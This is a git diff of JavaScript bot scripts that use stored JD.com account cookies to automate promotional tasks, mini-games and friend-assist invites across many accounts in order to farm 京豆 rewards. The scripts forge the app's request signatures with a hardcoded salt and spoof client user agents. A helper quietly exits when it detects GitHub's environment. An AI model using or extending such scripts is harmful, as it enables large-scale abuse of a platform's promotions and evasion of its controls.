browseTask(id, type) { + return new Promise(resolve => { + $.get(taskUrl('extTask/browse', {id: id, type: type}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务完成成功`) + } else { + console.log(`任务完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPrize(id, type) { + return new Promise(resolve => { + $.get(taskUrl('extTask/getPrize', {id: id, type: type}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务领奖成功,获得${data.data}京豆`) + $.beans += data.data + } else { + console.log(`任务领奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getMoney() { + return new Promise(resolve => { + $.get(taskUrl('index/getMoney',), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`游戏开启成功,等待20秒`) + let sum = data.data.moneyList.reduce((a, b) => a + b, 0) + await $.wait(20 * 1000) + await addMoney(sum) + } else { + console.log(`游戏开启失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function addMoney(sum) { + return new Promise(resolve => { + $.post(taskPostUrl('index/addGoldNums', {goldNum: sum}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`游戏完成成功,获得${data.data.goldTotal}体验金`) + } else { + console.log(`游戏完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doSupport(shareId) { + return new Promise(resolve => { + $.get(taskUrl('task/doSupport', {shareId: shareId}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`助力好友成功`) + } else { + console.log(`助力好友失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} + +function taskPostUrl(function_id, body = {}) { + const t = getTs() + let n = { + ...body + } + let str = '' + for (let key in body) { + if (str !== "") { + str += "&"; + } + str += key + "=" + encodeURIComponent(body[key]); + } + return { + url: `${JD_API_HOST}${function_id}`, + body: str, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "shopping-festival.m.jd.com", + "Referer": "https://shopping-festival.m.jd.com/", + "Cookie": cookie, + 'dnt': '1', + 'pragma': 'no-cache', + 'sign': sign(n, `d55b480bed0545839dbd8b78b6cffdb1${t}`, `/sf/${function_id}`), + 'timestamp': ($.isQuanX()||$.isSurge()) ?t.toString():t, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + ) + } + } +} + +function taskUrl(function_id, body = {}) { + const t = getTs() + let n = { + t: t, + ...body + } + let str = '' + for (let key in body) { + if (str !== "") { + str += "&"; + } + str += key + "=" + encodeURIComponent(body[key]); + } + return { + url: `${JD_API_HOST}${function_id}?t=${t}&${str}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "shopping-festival.m.jd.com", + "Referer": "https://shopping-festival.m.jd.com/", + "Cookie": cookie, + 'dnt': '1', + 'pragma': 'no-cache', + 'sign': sign(n, `d55b480bed0545839dbd8b78b6cffdb1${t}`, `/sf/${function_id}`), + 'timestamp': ($.isQuanX()||$.isSurge()) ?t.toString():t, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +function sign(t, e, n) { + var a = "" + , i = n.split("?")[1] || ""; + if (t) { + if ("string" == typeof t) + a = t + i; + else if ("object" == typeof (t)) { + var r = []; + for (var s in t) + r.push(s + "=" + t[s]); + a = r.length ? r.join("&") + i : i + } + } else + a = i; + if (a) { + var o = a.split("&").sort().join(""); + return $.md5(o + e) + } + return $.md5(e) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JSMOBILEFESTIVAL_SHARECODES) { + if (process.env.JSMOBILEFESTIVAL_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JSMOBILEFESTIVAL_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JSMOBILEFESTIVAL_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}PK助力码\n`); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null // await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/festival/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个PK助力码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_firecrackers.js b/activity/jd_firecrackers.js new file mode 100644 index 0000000..beb7565 --- /dev/null +++ b/activity/jd_firecrackers.js @@ -0,0 +1,301 @@ +/* +集鞭炮赢京豆 +活动入口:京东APP首页-发现好货-悬浮窗领京豆 +地址:https://linggame.jd.com/babelDiy/Zeus/heA49fhvyw9UakaaS3UUJRL7v3o/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#集鞭炮赢京豆 +10 8,21 * * * jd_firecrackers.js, tag=集鞭炮赢京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "10 8,21 * * *" script-path=jd_firecrackers.js,tag=集鞭炮赢京豆 + +===============Surge================= +集鞭炮赢京豆 = type=cron,cronexp="10 8,21 * * *",wake-system=1,timeout=3600,script-path=jd_firecrackers.js + +============小火箭========= +集鞭炮赢京豆 = type=cron,script-path=jd_firecrackers.js, cronexpr="10 8,21 * * *", timeout=3600, enable=true + */ +const $ = new Env('集鞭炮赢京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +let notifyBean = $.isNode() ? process.env.FIRECRACKERS_NOTITY_BEAN || 0 : 0; // 账号满足兑换多少京豆时提示 默认 0 不提示,格式:120 表示能兑换 120 豆子发出通知; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdFamily() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdFamily() { + $.earn = 0 + await getInfo() + await getUserInfo() + await getUserInfo(true) + await showMsg(); +} + +function showMsg() { + return new Promise(async resolve => { + subTitle = `【京东账号${$.index}】${$.nickName}`; + message += `【鞭炮🧨】本次获得 ${$.earn},共计${$.total}\n` + if ($.total && notifyBean) { + for (let item of $.prize) { + if (notifyBean <= item.beansPerNum) { // 符合预定的京豆档位 + if ($.total >= item.prizerank) { // 当前鞭炮满足兑换 + message += `【京豆】请手动兑换 ${item.beansPerNum} 个京豆,需消耗花费🧨 ${item.prizerank}` + $.msg($.name, subTitle, message); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + resolve(); + return; + } + } + } + } + } + $.log(`${$.name}\n\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://linggame.jd.com/babelDiy/Zeus/heA49fhvyw9UakaaS3UUJRL7v3o/index.html', + headers: { + Cookie: cookie + } + }, async (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function getUserInfo(info = false) { + return new Promise(resolve => { + $.get(taskUrl('family_query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (info) { + $.earn = $.userInfo.tatalprofits - $.total + } else { + for (let task of $.info.config.tasks) { + let vo = $.userInfo.tasklist.filter(vo => vo.taskid === task['_id']) + if (vo.length > 0) { + vo = vo[0] + if (vo['isdo'] === 1) { + if (vo['times'] === 0) { + console.log(`去做任务${task['_id']}`) + let res = await doTask(task['_id']) + if (!res) { // 黑号,不再继续执行任务 + break; + } + await $.wait(3000) + } else { + console.log(`${Math.trunc(vo['times'] / 60)}分钟可后做任务${task['_id']}`) + } + } + } + } + } + $.total = $.userInfo.tatalprofits + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('family_task', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let res = data.match(/query\((.*)\n/)[1]; + data = JSON.parse(res); + if (data.ret === 0) { + console.log(`任务完成成功`) + } else if (data.ret === 1001) { + console.log(`任务完成失败,原因:这个账号黑号了!!!`) + resolve(false); + return; + } else { + console.log(`任务完成失败,原因未知`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activep3/family/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let 